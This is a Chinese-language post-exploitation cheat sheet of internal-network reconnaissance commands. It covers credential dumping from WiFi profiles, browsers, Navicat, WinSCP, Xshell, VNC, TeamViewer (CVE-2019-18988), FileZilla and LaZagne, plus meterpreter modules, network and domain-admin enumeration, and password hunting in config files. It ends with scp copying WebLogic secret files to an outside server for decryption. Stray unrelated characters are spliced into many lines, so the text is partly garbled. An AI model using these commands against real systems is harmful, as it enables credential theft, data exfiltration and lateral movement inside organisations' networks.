總結(jié)下內(nèi)網(wǎng)信息收集時用到的方法奈偏,由于是想到什么寫什么勤讽,所以文章比較混亂.....
一楣号、Windows
cmd命令
systeminfo 查看計算機信息
query user 查在線用戶
netstat -ano | find "3389" 查看網(wǎng)絡(luò)連接信息
arp -a 查看arp緩存
route print 查看路由表
wmic product get name,version 查看安裝的軟件
wmic qfe list 查看已安裝的補丁
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 查看殺軟詳情
wmic bios list full | find /i "vmware" 查看是否為虛擬機
wmic process get caption,executablepath,processid 查看正在運行的進程信息
查看/終止進程:
tasklist /svc
tasklist /s 192.168.80.11 /u admin /p 123 /svc
taskkill /f /im qq.exe
taskkill /pid 2476
快速搜索文件
findstr /c:"DB_USER" /c:"DB_PASSWORD" /si *.php
findstr /c:"user=" /c:"pass=" /c:"pwd=" /c:"password=" /si *.php *.xml
查WiFi密碼
netsh wlan show profile
netsh wlan show profile wifi-name key=clear
查mysql密碼
select Host,User,Password,authentication_string from mysql.user;
查mssql密碼
SELECT name,password_hash FROM master.sys.sql_logins;
提取瀏覽器已保存的密碼
http://www.nirsoft.net/utils/web_browser_password.html 火狐瀏覽器
http://www.nirsoft.net/utils/chromepass.html 谷歌瀏覽器
提取Navicat已保存的密碼
工具下載地址:
https://github.com/HyperSine/how-does-navicat-encrypt-password
- 從注冊表中查詢host/username/pwd
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v host
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v username
reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ /s /v pwd
- 使用工具進行解密
python NavicatCipher.py dec 5658213B
提取winscp已保存的密碼
工具下載地址:
https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe
- 查詢注冊表中winscp保存的密文
shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"
shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.80.164"
- 使用winscppwd.exe進行解密
winscppwd.exe root 192.168.80.164 A35C4A54D144F65B7DF0E8F42E3333286D656E726D6A6472646C726D6A682833332EFA7A248229B891A201911C3F588380D6
- 或者直接使用msf中的模塊
meterpreter > run post/windows/gather/credentials/winscp
提取Xshell已保存的密碼
Xshell目前主要有5.x和6.x兩個版本庐橙,session文件分別保存在如下位置
- %userprofile%\Documents\NetSarang\Xshell\Sessions
- %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
解密工具下載地址:
https://github.com/dzxs/Xdecrypt
- 查看是否存在xshell配置文件
shell cd "%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions"&dir
- 讀取xsh文件中的用戶名和密碼的密文
shell type "C:\Users\Administrator\Documents\NetSarang Computer\6\Xshell\Sessions\192.168.80.164.xsh"
- 查詢用戶的SID
shell whoami /user
- 使用腳本進行解密
python Xdecrypt.py -s AdministratorS-1-5-21-464702021-3836885353-1586058702-500 -p "UzQLCHPiipSEypdz5qLORoRblWuytx8aAGFMl3plBK+pi+30QDkGUg=="
- 同樣msf中也有相關(guān)的模塊
meterpreter > run post/windows/gather/credentials/xshell_xftp_password
提取SecureCRT已保存的密碼
工具下載地址:
https://github.com/HyperSine/how-does-SecureCRT-encrypt-password.git
提取vnc客戶端的密碼
工具下載地址:
https://www.raymond.cc/blog/crack-or-decrypt-vnc-server-encrypted-password/
以realvnc為例
注冊表位置
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
vncpwd.exe 494015f9a35e8b22
提取teamviewer的密碼
實際利用的是CVE-2019-18988漏洞鳞上,可以讀取Teamviewer的ID和控制密碼琳水,如果登錄窗口存在密碼還會讀取Email和登錄密碼肆糕。
meterpreter > run post/windows/gather/credentials/teamviewer_passwords
提取filezilla已保存的密碼
meterpreter > run post/multi/gather/filezilla_client_cred
使用lazagne導(dǎo)出各種密碼
工具下載地址:https://github.com/AlessandroZ/LaZagne
lazagne.exe browsers -firefox -oN
lazagne.exe browsers
lazagne.exe browsers -h
laZagne.exe all -oN
icmp掃描
for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"
arp掃描
https://github.com/QbsuranAlang/arp-scan-windows-.git
arp-scan.exe -t 192.168.80.0/24
端口掃描
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
powershell -exec bypass
Import-Module C:\Users\Administrator\Desktop\Invoke-Portscan.ps1
Invoke-Portscan -Hosts 192.168.80.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt
域內(nèi)信息收集
net time \\test-lab.lab.com 查看目標主機的時間
net user /domain 查看域內(nèi)的用戶
net accounts /domain 查看域的密碼策略
net view /domain 查看有幾個域
net group /domain 查看域里面的組
net config workstation 查看當前域
net group "domain admins" /domain 查看域管理員
net group "domain controllers" /domain 查看域控制器
net user user2 /domain 查看指定域賬戶的信息
net group "domain computers" /domain 查看域內(nèi)所有主機
wmic computersystem get domain 查看當前域
wmic useraccount get Caption,sid 查看域內(nèi)所有主機的sid
定位域控
- 通常域內(nèi)主機DNS地址就是域控地址
- ping工作站域DNS名稱進一步確認
ping lab.com
二、Linux
icmp掃描
for i in 10.28.98.{1..254}; do if ping -c 1 -w 1 $i &>/dev/null; then echo $i is alived; fi; done
端口掃描
推薦一個python腳本在孝,不需要任何三方依賴
https://github.com/ywolf/F-NAScan.git
python F-NAScan.py -h 192.168.80.148 -p port.ini -m 50 -t 10 -n
python F-NAScan.py -h ip.ini -p port.ini -m 50 -t 10
python F-NAScan.py -h 172.21.0 -p 9200 -m 30 -t 10 -n
python F-NAScan.py -h 192.168.1 -p 21,22,80,161,443,445,873,1080,1099,1433,1434,1521,2049,2375,3306,3389,5432,5984,6379,7001,8001,8080,9200,27017 -m 50 -t 10 -n
nmap
- 主機發(fā)現(xiàn)
-n 取消反向域名解析
-F 掃描top100端口
--top-ports <number> 掃描開放率最高的number個端口诚啃,默認是1000
-Pn 跳過主機發(fā)現(xiàn)的過程,默認主機在線
-sn 只進行主機發(fā)現(xiàn)私沮,不進行端口掃描始赎,老版本叫-sP
-PR 使用ARP協(xié)議進行主機發(fā)現(xiàn)
nmap -sn -n 192.168.80.0/24
nmap -sn -PR -n 192.168.80.0/24
- 端口掃描
nmap -n 192.168.70.248 -p1099 -Pn
nmap -n -sT 192.168.70.248 -p1099 -Pn
查在線用戶/用戶登錄記錄
who
last
配置文件中找數(shù)據(jù)庫的密碼
config.php、web.config等
java的站通常在jdbc文件中有數(shù)據(jù)庫的密碼
locate WEB-INF | grep .properties
locate WEB-INF | grep jdbc.properties
find / -name *.properties 2>/dev/null
find ./ -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_"
查歷史記錄
.bash_history
.mysql_history
.rediscli_history
.viminfo
查ssh登錄歷史
~/.ssh/known_hosts
查內(nèi)網(wǎng)下的其它主機
arp -a
route -n
cat /proc/net/arp
查SUID可執(zhí)行文件
find / -perm -u=s -type f 2>/dev/null
查系統(tǒng)信息
uname -a
cat /etc/*-release
解密weblogic控制臺的密碼
weblogic的密碼使用AES(老版本3DES)加密仔燕,這兩種加密方式都屬于對稱加密造垛,加密密鑰和解密密鑰相同。所以我們只要找到服務(wù)器上的密文和密鑰晰搀,就可以解密獲得明文密碼五辽。這兩個文件均位于weblogic的domains目錄下,名為SerializedSystemIni.dat和config.xml外恕。
- config.xml位于config目錄下奔脐,我們使用scp命令復(fù)制到自己的服務(wù)器上
scp config.xml test@1.1.1.1:/tmp/
- SerializedSystemIni.dat位于security目錄下,同樣使用scp命令進行復(fù)制
scp SerializedSystemIni.dat test@1.1.1.1:/tmp/
使用解密工具進行解密吁讨,這里使用vulhub中提供的工具
https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password/decrypt文件選擇SerializedSystemIni.dat髓迎,密碼為config.xml文件中<node-manager-password-encrypted>的值,如下圖解密成功建丧,得到了明文密碼